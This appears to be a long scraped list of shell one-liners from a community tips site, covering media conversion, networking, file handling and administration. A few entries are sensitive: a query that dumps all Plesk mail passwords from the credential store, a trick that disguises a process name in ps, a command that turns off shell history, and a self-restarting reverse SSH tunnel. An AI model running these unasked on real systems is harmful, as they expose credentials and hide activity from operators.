geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
disk space email alert
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com
Get absolut path to your bash-script
PATH=$(cd ${0%/*}; pwd)
Perform a reverse DNS lookup
dig -x 74.125.45.100
Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
Quick command line math
expr 512 \* 7
Catch a proccess from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O -
Happy Days
echo {1..3}" o'clock" ROCK
search for a file in PATH
type <filename>
no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
Edit your command in vim ex mode by <ctrl-f>
<ctrl-f> in ex mode in vim
How to know the total number of packages available
apt-cache stats
Run a bash script in debug mode, show output and save it on a file
bash -x test.sh 2>&1 | tee out.test
Create a large test file (taking no space).
dd bs=1 seek=2TB if=/dev/null of=ext3.test
List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"
dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
dstat -afv
Get Dollar-Euro exchage rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
An alarm clock using xmms2 and at
at 6:00 <<< "xmms2 play"
How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5
Using awk to sum/count a column of numbers.
cat count.txt | awk '{ sum+=$1} END {print sum}'
Get all the keyboard shortcuts in screen
^A ?
Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open
Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;
Run entire shell script as root
#!/usr/bin/sudo /bin/bash
return external ip
curl ipinfo.io
Notepad in a browser (type this in the URL bar)
data:text/html, <html contenteditable>
Extract audio from Flash video (*.flv) as mp3 file
ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3
convert from hexidecimal or octal to decimal
echo $((0x1fe)) $((033))
cat a bunch of small files with file indication
grep . *
Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
send a circular
echo "dear admin, please ban eribsskog" | wall
List all open ports and their owning executables
lsof -i -P | grep -i "listen"
pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
Purge configuration files of removed packages on debian based systems
aptitude purge '~c'
Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png
Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
List all authors of a particular git project
git log --format='%aN' | sort -u
Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc
scp a good script from host A which has no public access to host C, but with a hop by host B
cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file
Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!)
cp -pr olddirectory newdirectory
YES = NO
yes n
for all who don't have the watch command
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
find . -type f | grep -rl $'\xEF\xBB\xBF'
Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
eval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
Convert deb to rpm
alien -r -c file.deb
total text files in current dir
file -i * | grep -c 'text/plain'
Add "prefix" on a buch of files
for a in *; do mv $a prefix${a}; done
grep certain file types recursively
find . -name "*.[ch]" | xargs grep "TODO"
On Mac OS X, runs System Profiler Report and e-mails it to specified address.
system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
Recursively Find Images, Convert to JPEGS and Delete
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg
Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
Stage only portions of the changes to a file.
git add --patch <filename>
Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME
Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
Quick key/value display within /proc or /sys
grep -r . /sys/class/net/eth0/statistics
convert (almost) any image into a video
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
Create AUTH PLAIN string to test SMTP AUTH session
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain.
curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
get a desktop notification from the terminal
alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
Pretty Print a simple csv in the command line
column -s, -t <tmp.csv
Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}
Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
Save an HTML page, and covert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
Relocate a file or directory, but keep it accessible on the old location throug a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
disable history for current shell session
unset HISTFILE
a short counter
yes '' | cat -n
Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
Pipe STDOUT to vim
tail -1000 /some/file | vim -
Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip
Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>
Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;
Get http headers for an url
curl -I www.commandlinefu.com
Count files beneath current directory (including subfolders)
find . -type f | wc -l
random git-commit message
git commit -m "$(curl -s http://whatthecommit.com/index.txt)";
Who invoked me? / Get parent command
ps -o comm= -p $(ps -o ppid= -p $$)
Faster find and move using the find and xargs commands. Almost as fast as locate.
find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
from the console, start a second X server
xinit -- :1
Cap apt-get download speed
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
How much RAM is Apache using?
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
Simple XML tag extract with sed
sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
List apache2 virtualhosts
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
Takes an html file and outputs plain text from it
lynx -dump somefile.html
zsh only: access a file when you don't know the path, if it is in PATH
file =top
Find files containing string and open in vim
vim $(grep test *)
Format ps command output
ps ax -o "%p %U %u %x %c %n"
Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1
find all non-html files
find . -type f ! -name "*html"
find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
Using the urxvt terminal daemon
urxvtd -q -o -f
Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
write text or append to a file
cat <<.>> somefilename
ignore hidden directory in bash completion (e.g. .svn)
bind 'set match-hidden-files off'
Colorize matching string without skipping others
egrep --color=auto 'usb|' /var/log/messages
find files larger than 1 GB, everywhere
find / -type f -size +1000000000c
Resume an emerge, and keep all object files that are already built
FEATURES=keepwork emerge --resume
c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
stop windows update
runas /user:administrator net stop wuauserv
Generate QR code for a WiFi hotspot
qrencode -s 7 -o qr-wifi.png "WIFI:S:$(zenity --entry --text="Network name (SSID)" --title="Create WiFi QR");T:WPA;P:$(zenity --password --title="Wifi Password");;"
vi a remote file
vi scp://username@host//path/to/somefile
Show what PID is listening on port 80 on Linux
fuser -v 80/tcp
save man-page as pdf
man -t awk | ps2pdf - awk.pdf
Convert seconds into minutes and seconds
echo 'obase=60;299' | bc
List by size all of the directories in a given tree.
du -h /path | sort -h
List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +
Recover tmp flash videos (deleted immediately by the browser plugin)
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz .
Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts
Make sudo forget password instantly
sudo -K
Stream YouTube URL directly to MPlayer
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
Mirror a directory structure from websites with an Apache-generated file indexes
lftp -e "mirror -c" http://example.com/foobar/
copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'
download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.
Remove executable bit from all files in the current directory recursively, excluding other directories
chmod -R -x+X *
Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url
Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
Search for commands from the command line
clfu-seach <search words>
Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'
Show your account and windows policy settings with Results of Policy msc.
rsop.msc
Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr
Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
Adding formatting to an xml document for easier reading
xmllint --format <filename> > <output file>
Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file
find . -type f -name *.ext -exec cat {} > file.txt \;
Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
List commands with a short summary
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
Extract neatly a rar compressed file
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0"
watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log
remote diff with side-by-side ordering.
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
Convert the output of one or more (log, source code …) files into html,
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
Randomize lines in a file
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
zip -vr example.zip example/ -x "*.DS_Store"
Filter IPs out of files
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
removing syncronization problems between audio and video
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
display typedefs, structs, unions and functions provided by a header file
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
combine mkdir foo && cd foo into a single function mcd foo
function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`
Function that counts recursively number of lines of all files in specified folders
count() { find $@ -type f -exec cat {} + | wc -l; }
Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on
clear current line
CTRL+u
Terminate a frozen SSH-session
RETURN~.
Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
Check if system is 32bit or 64bit
arch
Show permissions of current directory and all directories upwards to /
namei -m $(pwd)
move you up one directory quickly
shopt -s autocd
Hide the name of a process listed in the ps output
exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
Remove a line from a file using sed (useful for updating known SSH server keys when they change)
ssh-keygen -R <thehost>
Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}
Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
All IP connected to my host
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
Figure out what shell you're running
echo $0
Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xfz -
List 10 largest directories in current directory
du -hs */ | sort -hr | head
Rename all .jpeg and .JPG files to have .jpg extension
rename 's/\.jpe?g$/.jpg/i' *
See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location: *//p';}
Generate a Random MAC address
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete
List open files that have no links to them on the filesystem
lsof +L1
Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv
Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"
view the system memory in clear text
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;
Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
en/decrypts files in a specific directory
for a in path/* ; do ccenrypt -K <password> $a; done
Show established network connections
lsof -i | grep -i estab
Scale,Rotate, brightness, contrast,…with Image Magick
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
Connect via sftp to a specific port
sftp -oPort=3476 user@host
Avoiding history file to be overwritten
shopt -s histappend
Apache memory usage
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
Install an mpkg from the command line on OSX
sudo installer -pkg /Volumes/someapp/someapp.mpkg -target /
list and sort files by size in reverse order (file size in human readable output)
ls -S -lhr
output list of modifications for an svn revision
svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
Twitpic upload and Tweet
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
Propagate a directory to another and create symlink to content
lndir sourcedir destdir
decoding Active Directory date format
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
Find a file's package or list a package's contents.
dlocate [ package | string ]
Mount directories in different locations
mount --bind /old/directory/path /new/directory/path
Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
Display BIOS Information
dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
open path with your default program (on Linux/*BSD)
xdg-open [path]
Copy an element from the previous command
!:1-3
View user activity per directory.
sudo lsof -u someuser -a +D /etc
use the previous commands params in the current command
!!:[position]
Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
check the status of 'dd' in progress (OS X)
killall -INFO dd
Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a
recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +
Clean your broken terminal
stty sane
grep -v with multiple patterns.
grep 'test' somefile | grep -vE '(error|critical|warning)'
redirect stdout and stderr each to separate files and print both to the screen
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
Identify long lines in a file
awk 'length>72' file
Use all the cores or CPUs when compiling
make -j 4
Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
Colored SVN diff
svn diff <file> | vim -R -
Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard
ls | curl -F 'sprunge=<-' http://sprunge.us | xclip
Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
Find if the command has an alias
type -all command
Find last reboot time
who -b
Show a config file without comments
egrep -v "^$|^[[:space:]]*#" /etc/some/file
Find writable files
find -writable
Identify name and resolution of all jpgs in current directory
identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
Edit file(s) that has been just listed
vi `!!`
Show the date of easter
ncal -e
automount samba shares as devices in /mnt/
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
backup your entire hosted website using cPanel backup interface and wget
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
Move all comments the top of the file in vim
:g:^\s*#.*:m0
add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add -
Calculating series with awk: add numbers from 1 to 100
seq 100 | awk '{sum+=$1} END {print sum}'
View non-printing characters with cat
cat -v -t -e
Print out a man page
man -t man | lp
Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
Download and extract a *tar.gz file with curl.
curl http://domain.com/file.tar.gz | tar zx
Show all machines on the network
nmap 192.168.0-1.0-255 -sP
Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
Create black and white image
convert -colorspace gray face.jpg gray_face.jpg
watch iptables counters
watch 'iptables -vL'
print date 24 hours ago
date --date=yesterday
Gets the last string of previous command with !$
$mkdir mydir -> mv !$ yourdir -> $cd !$
Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l
Substitute spaces in filename with underscore
ls -1 | rename 's/\ /_/'
Display a list of RPMs installed on a particular date
rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
Start screen in detached mode
screen -d -m [<command>]
Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
Look up the definition of a word
curl dict://dict.org/d:something
Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q
iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir
create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
Run any GUI program remotely
ssh -fX <user>@<host> <program>
Delete all empty lines from a file with vim
:g!/\S/d
List the files any process is using
lsof +p xxxx
Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
change directory to actual path instead of symlink path
cd `pwd -P`
ping a range of IP addresses
nmap -sP 192.168.1.100-254
Show which programs are listening on TCP and UDP ports
netstat -plunt
Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
Read and write to TCP or UDP sockets with common bash tools
exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&-
Commandline document conversion with Libreoffice
soffice --headless -convert-to odt:"writer8" somefile.docx
Use top to monitor only all processes with the same name fragment 'foo'
top -p $(pgrep -d , foo)
HourGlass
